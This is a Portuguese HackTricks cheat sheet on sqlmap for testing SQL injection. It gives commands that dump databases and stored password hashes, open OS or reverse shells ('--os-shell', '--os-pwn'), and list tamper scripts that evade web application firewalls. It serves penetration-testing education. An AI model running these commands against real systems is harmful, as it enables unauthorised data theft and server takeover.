hacktricks/pentesting-web/sql-injection/sqlmap.md

9.7 KiB

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Argumentos básicos para o SQLmap

Genérico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Obter Informações

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Dados do BD

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Local de Injeção

A partir da captura do Burp/ZAP

Capture a requisição e crie um arquivo req.txt

sqlmap -r req.txt --current-user

Injeção de Requisição GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injeção de Requisição POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Injeções em Headers e outros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Injeção de segunda ordem

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

Um shell é um programa que aceita comandos de um usuário e os executa. Em termos de injeção de SQL, um shell é um ambiente interativo que permite ao atacante executar comandos SQL no servidor de banco de dados.

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Rastreando um site com SQLmap e auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personalizando Injeção

Definir um sufixo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefix

Prefix

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ajuda para encontrar injeção booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Manipulação

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Descrição
apostrophemask.py Substitui o caractere apóstrofo pelo seu equivalente UTF-8 de largura total
apostrophenullencode.py Substitui o caractere apóstrofo pelo seu equivalente de duplo unicode ilegal
appendnullbyte.py Anexa o caractere de byte NULL codificado no final da carga útil
base64encode.py Codifica em Base64 todos os caracteres em uma carga útil fornecida
between.py Substitui o operador maior que '&gt;' por 'NOT BETWEEN 0 AND #'
bluecoat.py Substitui o caractere de espaço após a instrução SQL por um caractere de espaço em branco válido aleatório. Em seguida, substitui o caractere = pelo operador LIKE
chardoubleencode.py Duplica a codificação de URL de todos os caracteres em uma carga útil fornecida não processando os já codificados
commalesslimit.py Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'
commalessmid.py Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)'
concat2concatws.py Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Codifica em URL todos os caracteres em uma carga útil fornecida não processando os já codificados
charunicodeencode.py Codifica em URL Unicode caracteres não codificados em uma carga útil fornecida não processando os já codificados. "%u0022"
charunicodeescape.py Codifica em URL Unicode caracteres não codificados em uma carga útil fornecida não processando os já codificados. "\u0022"
equaltolike.py Substitui todas as ocorrências do operador igual '=' pelo operador 'LIKE'
escapequotes.py Escapa as aspas ' and " com barra invertida
greatest.py Substitui o operador maior que '&gt;' pelo equivalente 'GREATEST'
halfversionedmorekeywords.py Adiciona comentário versionado do MySQL antes de cada palavra-chave
ifnull2ifisnull.py Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Envolve a consulta completa com comentário versionado
modsecurityzeroversioned.py Envolve a consulta completa com comentário de versão zero
multiplespaces.py Adiciona vários espaços ao redor das palavras-chave SQL
nonrecursivereplacement.py Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", ""))
percentage.py Adiciona um sinal de porcentagem '%' na frente de cada caractere
overlongutf8.py Converte todos os caracteres em uma carga útil fornecida não processando os já codificados
randomcase.py Substitui cada caractere de palavra-chave por um valor de caixa aleatório
randomcomments.py Adiciona comentários aleatórios às palavras-chave SQL
securesphere.py Anexa uma string especial criada
sp_password.py Anexa 'sp_password' ao final da carga útil para obfuscação automática nos logs do DBMS
space2comment.py Substitui o caractere de espaço ' ' por comentários
space2dash.py Substitui o caractere de espaço ' ' por um comentário de traço '--' seguido de uma string aleatória e uma nova linha '\n'
space2hash.py Substitui o caractere de espaço ' ' por um caractere de sustenido '\#' seguido de uma string aleatória e uma nova linha '\n'
space2morehash.py Substitui o caractere de espaço ' ' por um caractere de sustenido '\#' seguido de uma string aleatória e uma nova linha '\n'
space2mssqlblank.py Substitui o caractere de espaço ' ' por um caractere de espaço em branco aleatório de um conjunto válido de caracteres alternativos
space2mssqlhash.py Substitui o caractere de espaço ' ' por um caractere de sustenido '\#' seguido de uma nova linha '\n'
space2mysqlblank.py Substitui o caractere de espaço ' ' por um caractere de espaço em branco aleatório de um conjunto válido de caracteres alternativos
space2mysqldash.py Substitui o caractere de espaço ' ' por um comentário de traço '--' seguido de uma nova linha '\n'
space2plus.py Substitui o caractere de espaço ' ' por mais '+'
space2randomblank.py Substitui o caractere de espaço ' ' por um caractere de espaço em branco aleatório de um conjunto válido de caracteres alternativos
symboliclogical.py Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e
unionalltounion.py Substitui UNION ALL SELECT por UNION SELECT
unmagicquotes.py Substitui o caractere de aspas ' por uma combinação multibyte %bf%27 juntamente com um comentário genérico no final para fazer funcionar
uppercase.py Substitui cada caractere de palavra-chave por um valor em maiúscula 'INSERT'
varnish.py Anexa um cabeçalho HTTP 'X-originating-IP'
versionedkeywords.py Envolve cada palavra-chave não funcional com comentário versionado do MySQL
versionedmorekeywords.py Envolve cada palavra-chave com comentário versionado do MySQL
xforwardedfor.py Anexa um cabeçalho HTTP falso 'X-Forwarded-For'